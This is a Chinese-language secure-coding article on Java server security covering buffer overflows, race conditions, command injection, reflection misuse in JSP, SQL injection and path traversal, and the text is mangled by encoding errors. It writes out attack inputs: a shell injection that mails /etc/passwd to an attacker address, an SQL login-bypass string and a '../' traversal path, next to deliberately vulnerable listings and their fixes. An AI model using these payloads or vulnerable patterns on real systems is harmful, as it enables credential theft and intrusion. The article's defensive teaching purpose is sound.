一、概述
編寫安全的Internet應(yīng)用并不是一件輕而易舉的事情：只要看看各個專業(yè)公告板就可以
找到連續(xù)不斷的安全漏洞報告。你如何保證自己的Internet應(yīng)用不象其他人的應(yīng)用那樣
滿是漏洞？你如何保證自己的名字不會出現(xiàn)在令人難堪的重大安全事故報道中？
如果你使用
Java Servlet、JavaServer
Pages（JSP）或者EJB，許多難以解決的問題都
已經(jīng)事先解決。當(dāng)然，漏洞仍有可能出現(xiàn)。下面我們就來看看這些漏洞是什么，以及為
什么
Java程序員不必擔(dān)心部分C和Perl程序員必須面對的問題。
C程序員對安全漏洞應(yīng)該已經(jīng)很熟悉，但象OpenBSD之類的工程提供了處理此類問題的安
全系統(tǒng)。
Java語言處理這類問題的經(jīng)驗要比C少20年，但另一方面，
Java作為一種客戶
端編程語言誕生，客戶端對安全的要求比服務(wù)器端苛刻得多。它意味著
Java的發(fā)展有著
一個穩(wěn)固的安全性基礎(chǔ)。
Java原先的定位目標是瀏覽器。然而，瀏覽器本身所帶的
Java虛擬機雖然很不錯，但卻
并不完美。Sun的《Chronology of security-related bugs and
issues》總結(jié)了運行
時環(huán)境的漏洞發(fā)現(xiàn)歷史。我們知道，當(dāng)
Java用作服務(wù)器端編程語言時，這些漏洞不可能
被用作攻擊手段。但即使
Java作為客戶端編程語言，重大安全問題的數(shù)量也從1996年的
6個（其中3個是相當(dāng)嚴重的問題）降低到2000年的1個。不過，這種安全性的相對提高
并不意味著
Java作為服務(wù)器端編程語言已經(jīng)絕對安全，它只意味著攻擊者能夠使用的攻
擊手段越來越受到限制。那么，究竟有哪些地方容易受到攻擊，其他編程語言又是如何
面對類似問題的呢？
二、緩存溢出
在C程序中，緩存溢出是最常見的安全隱患。緩存溢出在用戶輸入超過已分配內(nèi)存空間
（專供用戶輸入使用）時出現(xiàn)。緩存溢出可能成為導(dǎo)致應(yīng)用被覆蓋的關(guān)鍵因素。C程序
很容易出現(xiàn)緩存溢出，但Java程序幾乎不可能出現(xiàn)緩存溢出。
從輸入流讀取輸入數(shù)據(jù)的C代碼通常如下所示：
char buffer[1000];
int len = read(buffer);
由于緩存的大小在讀入數(shù)據(jù)之前確定，系統(tǒng)要檢查為輸入保留的緩存是否足夠是很困難
的。緩存溢出使得用戶能夠覆蓋程序數(shù)據(jù)結(jié)構(gòu)的關(guān)鍵部分，從而帶來了安全上的隱患。
有經(jīng)驗的攻擊者能夠利用這一點直接把代碼和數(shù)據(jù)插入到正在運行的程序。
在Java中，我們一般用字符串而不是字符數(shù)組保存用戶輸入。與前面C代碼等價的Java
代碼如下所示：
String buffer = in.readLine();
在這里，"緩存"的大小總是和輸入內(nèi)容的大小完全一致。由于Java字符串在創(chuàng)建之后
不能改變，緩存溢出也就不可能出現(xiàn)。退一步說，即使用字符數(shù)組替代字符串作為緩存
，Java也不象C那樣容易產(chǎn)生可被攻擊者利用的安全漏洞。例如，下面的Java代碼將產(chǎn)
生溢出：
char[] bad = new char[6];
bad[7] =
50;這段代碼總是拋出一個java.lang.ArrayOutOfBoundsException異常，而
該異常可以由程序自行捕獲：
try {
char[] bad = new char[6];
bad[7] = 50;
}
catch (ArrayOutOfBoundsException ex) {
... }
這種處理過程永遠不會導(dǎo)致不可預(yù)料的行為。無論用什么方法溢出一個數(shù)組，我們總是
得到ArrayOutOfBoundsException異常，而Java運行時底層環(huán)境卻能夠保護自身免受任
何侵害。一般而言，用Java字符串類型處理字符串時，我們無需擔(dān)心字符串的
ArrayOutOfBoundsExceptions異常，因此它是一種較為理想的選擇。
Java編程模式從根本上改變了用戶輸入的處理方法，避免了輸入緩存溢出，從而使得
Java程序員擺脫了最危險的編程漏洞。
三、競爭狀態(tài)
競爭狀態(tài)即Race
Condition，它是第二類最常見的應(yīng)用安全漏洞。在創(chuàng)建（更改）資源
到修改資源以禁止對資源訪問的臨界時刻，如果某個進程被允許訪問資源，此時就會出
現(xiàn)競爭狀態(tài)。這里的關(guān)鍵問題在于：如果一個任務(wù)由兩個必不可少的步驟構(gòu)成，不管你
多么想要讓這兩個步驟一個緊接著另一個執(zhí)行，操作系統(tǒng)并不保證這一點。例如，在數(shù)
據(jù)庫中，事務(wù)機制使得兩個獨立的事件"原子化"。換言之，一個進程創(chuàng)建文件，然后
把這個文件的權(quán)限改成禁止常規(guī)訪問；與此同時，另外一個沒有特權(quán)的進程可以處理該
文件，欺騙有特權(quán)的進程錯誤地修改文件，或者在權(quán)限設(shè)置完畢之后仍繼續(xù)對原文件進
行訪問。
一般地，在標準Unix和NT環(huán)境下，一些高優(yōu)先級的進程能夠把自己插入到任務(wù)的多個步
驟之間，但這樣的進程在Java服務(wù)器上是不存在的；同時，用純Java編寫的程序也不可
能修改文件的許可權(quán)限。因此，大多數(shù)由文件訪問導(dǎo)致的競爭狀態(tài)在Java中不會出現(xiàn)，
但這并不意味著Java完全地擺脫了這個問題，只不過是問題轉(zhuǎn)到了虛擬機上。
我們來看看其他各種開發(fā)平臺如何處理這個問題。在Unix中，我們必須確保默認文件創(chuàng)
建模式是安全的，比如在服務(wù)器啟動之前執(zhí)行"umask
200"這個命令。有關(guān)umask的更
多信息，請在Unix系統(tǒng)的命令行上執(zhí)行"man
umask"查看umask的man文檔。
在NT環(huán)境中，我們必須操作ACL（訪問控制表，Access
Control List）的安全標記，保
護要在它下面創(chuàng)建文件的目錄。NT的新文件一般從它的父目錄繼承訪問許可。請參見
NT文檔了解更多信息。
Java中的競爭狀態(tài)大多數(shù)時候出現(xiàn)在臨界代碼區(qū)。例如，在用戶登錄過程中，系統(tǒng)要生
成一個唯一的數(shù)字作為用戶會話的標識符。為此，系統(tǒng)先產(chǎn)生一個隨機數(shù)字，然后在散
列表之類的數(shù)據(jù)結(jié)構(gòu)中檢查這個數(shù)字是否已經(jīng)被其他用戶使用。如果這個數(shù)字沒有被其
他用戶使用，則把它放入散列表以防止其他用戶使用。代碼如Listing
1所示：
(Listing 1)
// 保存已登錄用戶的ID
Hashtable hash;
// 隨機數(shù)字生成器
Random rand;
// 生成一個隨機數(shù)字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 為當(dāng)前用戶保留該ID
hash.put(id, data);
Listing
1的代碼可能帶來一個嚴重的問題：如果有兩個線程執(zhí)行Listing
1的代碼，其
中一個線程在hash.put(...)這行代碼之前被重新調(diào)度，此時同一個隨機ID就有可能被
使用兩次。在Java中，我們有兩種方法解決這個問題。首先，Listing
1的代碼可以改
寫成Listing
2的形式，確保只有一個線程能夠執(zhí)行關(guān)鍵代碼段，防止線程重新調(diào)度，
避免競爭狀態(tài)的出現(xiàn)。第二，如果前面的代碼是EJB服務(wù)器的一部分，我們最好有一個
利用EJB服務(wù)器線程控制機制的唯一ID服務(wù)。
(Listing 2)
synchronized(hash)
{
// 生成一個唯一的隨機數(shù)字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 為當(dāng)前用戶保留該ID
hash.put(id, data);
}
四、字符串解釋執(zhí)行
在有些編程語言中，輸入字符串中可以插入特殊的函數(shù)，欺騙服務(wù)器使其執(zhí)行額外的、
多余的動作。下面的Perl代碼就是一個例子：
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");
顯然，這些代碼可以作為CGI程序的一部分，或者也可以從命令行調(diào)用。通常，它可以
按照如下方式調(diào)用：
perl script.pl hon...@true.com
它將把一個郵件（即"mail
body"）發(fā)送給用戶hon...@true.com。這個例子雖然簡單
，但我們卻可以按照如下方式進行攻擊：
perl script.pl hon...@true.com;mail
c...@liarandthief.com < /etc/passwd
這個命令把一個空白郵件發(fā)送給hon...@true.com，同時又把系統(tǒng)密碼文件發(fā)送給了
c...@liarandthief.com。如果這些代碼是CGI程序的一部分，它會給服務(wù)器的安全帶
來重大的威脅。
Perl程序員常常用外部程序（比如sendmail）擴充Perl的功能，以避免用腳本來實現(xiàn)外
部程序的功能。然而，Java有著相當(dāng)完善的API。比如對于郵件發(fā)送，JavaMail
API就
是一個很好的API。但是，如果你比較懶惰，想用外部的郵件發(fā)送程序發(fā)送郵件：
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
事實上這是行不通的。Java一般不允許把OS級"<"和";"之類的構(gòu)造符號作為
Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題：
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
但是，這種代碼是不安全的，它把前面Perl代碼面臨的危險帶入了Java程序。按照常規(guī)
的Java方法解決問題有時看起來要比取巧的方法復(fù)雜一點，但它幾乎總是具有更好的可
移植性、可擴展性，而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例
子，其他許多情形更復(fù)雜、更隱蔽。
讓我們來考慮一下Java的映像API（Reflection
API）。Java映像API允許我們在運行時
決定調(diào)用對象的哪一個方法。任何由用戶輸入命令作為映像查找條件的時機都可能成為
系統(tǒng)的安全弱點。例如，下面的代碼就有可能產(chǎn)生這類問題：
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});
如果"action"的值允許用戶改變，這里就應(yīng)該特別注意了。注意，這種現(xiàn)象可能會在
一些令人奇怪的地方出現(xiàn)--或許最令人奇怪的地方就是JSP。大多數(shù)JSP引擎用映像
API實現(xiàn)下面的功能：
<jsp:setProperty name="bean" property="*" />
這個Bean的set方法應(yīng)該特別注意，因為所有這些方法都可以被遠程用戶調(diào)用。例如，
對于Listing 3的Bean和Listing 4的JSP頁面：
(Listing 3)
public class Example
{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;
}
(Listing 4)
<%@ page import="Example" %>
<jsp:useBean id="example" scope="page"
class="Example" />
<jsp:setProperty name="example" property="*" />
<html>
<head>
<title>Bean示例</title>
</head>
<body>
<form>
<input type="text" name="name" size="30">
<input type="submit" value="Submit">
</form>
</html>
從表面上看，這些代碼只允許用戶訪問example
Bean的名字。然而，了解該系統(tǒng)的用戶
可以訪問" 。這個URL既改變name屬性，也改變password密碼屬性。當(dāng)然，這應(yīng)該不是頁面編寫者
的意圖，作者的意圖是設(shè)計一個只允許用戶訪問名字屬性的頁面。因此，在使用
<jsp:setProperty property="*" ... />。>
時應(yīng)該非常小心
字符串被解釋執(zhí)行的問題可能在允許嵌入腳本代碼的任何環(huán)境中出現(xiàn)。例如，這類問題
可能在Xalan（也稱為LotusXSL）中出現(xiàn)，當(dāng)然這是指系統(tǒng)設(shè)置不嚴格、易受攻擊的情
況下。
Xalan的腳本支持能夠關(guān)閉（而且這是Xalan的默認設(shè)置），在敏感的應(yīng)用中關(guān)閉腳本支
持是一種明智的選擇。當(dāng)你需要用DOM處理XML文檔時還必須考慮到另外一點：DOM保證
所有文本都經(jīng)過正確的轉(zhuǎn)義處理，防止非法的標記插入到腳本之內(nèi)。LotusXSL缺乏這個
功能，但這絕不是一個BUG。支持腳本是LotusXSL的一個特色，而且它（明智地）默認
處于關(guān)閉狀態(tài)。XSL的W3C規(guī)范并沒有規(guī)定支持腳本的能力。
現(xiàn)在我們來看看字符串解釋執(zhí)行如何影響SQL和JDBC。假設(shè)我們要以用戶名字和密碼為
條件搜索數(shù)據(jù)庫中的用戶，Listing
5的Servlet代碼看起來不錯，但事實上它卻是危險
的。
(Listing 5)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users WHERE
username="+user+" AND password="+pass;
Statement stmt = con.createStatement(query);
ResultSet rs = con.executeQuery(query);
if (rs.next())
{
// 登錄成功
int id = rs.getInt(1);
...
}
else
{
// 登錄失敗
...
}
如果用戶輸入的查詢條件中，用戶名字等于"fred"，密碼等于"something"，則系
統(tǒng)執(zhí)行的查詢實際上是：
SELECT id FROM users WHERE
username='fred' AND password=
'something'
這個查詢能夠正確地對用戶名字和密碼進行檢查。但是，如果用戶輸入的查詢條件中，
名字等于"fred' AND ('a'='b"，密碼等于"blah') OR
'a'='a"，此時系統(tǒng)執(zhí)行的
查詢變成了：
SELECT id FROM users
WHERE username='fred' AND (
'a'='b' AND password='blah') OR 'a'='a'
可以看出，這個查詢無法正確地對用戶名字和密碼進行檢查。Listing
6的代碼要安全
得多，它從根本上防止了用戶修改SQL命令逃避檢查。
(Listing 6)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users
WHERE username=? AND password=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, user);
stmt.setString(2, pass);
ResultSet rs = stmt.executeQuery();
...
所有對文件系統(tǒng)的訪問都是字符串可能被解釋執(zhí)行的地方。用Java訪問文件系統(tǒng)時，我
們應(yīng)該注意文件的命名方式。Listing
7是一個可能帶來危險的例子。這個程序根據(jù)用
戶輸入決定讀取哪個文件，它的危險就在于攻擊者能夠輸入"../../../etc/passwd"
這樣的文件名字并獲得系統(tǒng)的密碼文件。這可不是我們希望出現(xiàn)的事情。預(yù)防出現(xiàn)這種
安全漏洞最簡單的方法是：除非絕對需要，否則不要使用平面文件（Flat
File）。
(Listing 7)
public class UnsafeServlet
{
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String product = request.getAttribute("product");
Reader fin = new FileReader(
"/usr/unsafe/products/"+ product);
BufferedReader in = new BufferedReader(fin);
String cost = in.readLine();
// 其他處理過程
response.getWriter().println(cost);
}
}
大多數(shù)服務(wù)器系統(tǒng)，包括Servlet、JSP和EJB，都支持不直接依賴文件系統(tǒng)訪問的配置
方法。使用定制的SecurityManager或者使用一個簡單的檢查腳本（檢查程序是否直接
操作文件系統(tǒng)以及是否使用映像API），我們就可以實施"無文件系統(tǒng)直接訪問"策略
。盡管大多數(shù)應(yīng)用服務(wù)器允許使用文件系統(tǒng)，但一個好的EJB不會使用它。
最后，請務(wù)必不要忘記保持數(shù)據(jù)充分分離、精確定義這一良好的編程習(xí)慣。假設(shè)我們有
一個用來保存用戶信息的數(shù)據(jù)庫，現(xiàn)在需要增加一個字段標示用戶是否具有超級用戶權(quán)
限。如果在原來的表中增加一個列實在過于復(fù)雜，采用下面這種方法就變得很有吸引力
：在用戶名字中加上一個特殊字符表示用戶是否具有特殊權(quán)限，當(dāng)用戶登錄時檢查該特
殊字符，以便防止非法用戶宣稱自己擁有特殊權(quán)限。但事實上，這種做法是非常有害的
。所有的數(shù)據(jù)域，不管它是在數(shù)據(jù)庫中還是作為局部變量，都應(yīng)該精確定義且只保存一
份信息。
五、基本原則總結(jié)
根據(jù)上述討論，我們得到如下防止出現(xiàn)安全問題的基本原則：
對于各個輸入域，嚴格地定義系統(tǒng)可接受的合法輸入字符，拒絕所有其他輸入內(nèi)容。
應(yīng)該盡可能早地對用戶輸入進行檢查，使得使用危險數(shù)據(jù)的區(qū)域減到最小。
不要依賴瀏覽器端JavaScript進行安全檢查（盡管對用戶來說這是一種非常有用的功能
），所有已經(jīng)在客戶端進行的檢查應(yīng)該在服務(wù)器端再進行一次。
這些原則有助于消除大量的安全問題。本質(zhì)上，在應(yīng)用這一級上，URL和POST數(shù)據(jù)是用
戶和應(yīng)用交互的唯一途徑，所以我們的注意力應(yīng)該集中在URL和用戶輸入數(shù)據(jù)的安全性
上。
當(dāng)然，簡單地遵從本文的建議并不能夠保證絕對的安全。你必須分析其他各方面的因素
，包括網(wǎng)絡(luò)的安全性以及你所用到的其他服務(wù)的安全性。
每天都有新的安全漏洞被發(fā)現(xiàn)和修正。在系統(tǒng)足夠安全、可以連接到Internet之前，請
務(wù)必聽取專家的建議；在正式提交源代碼之前，一定要留意可能存在的漏洞。小心永不
過份。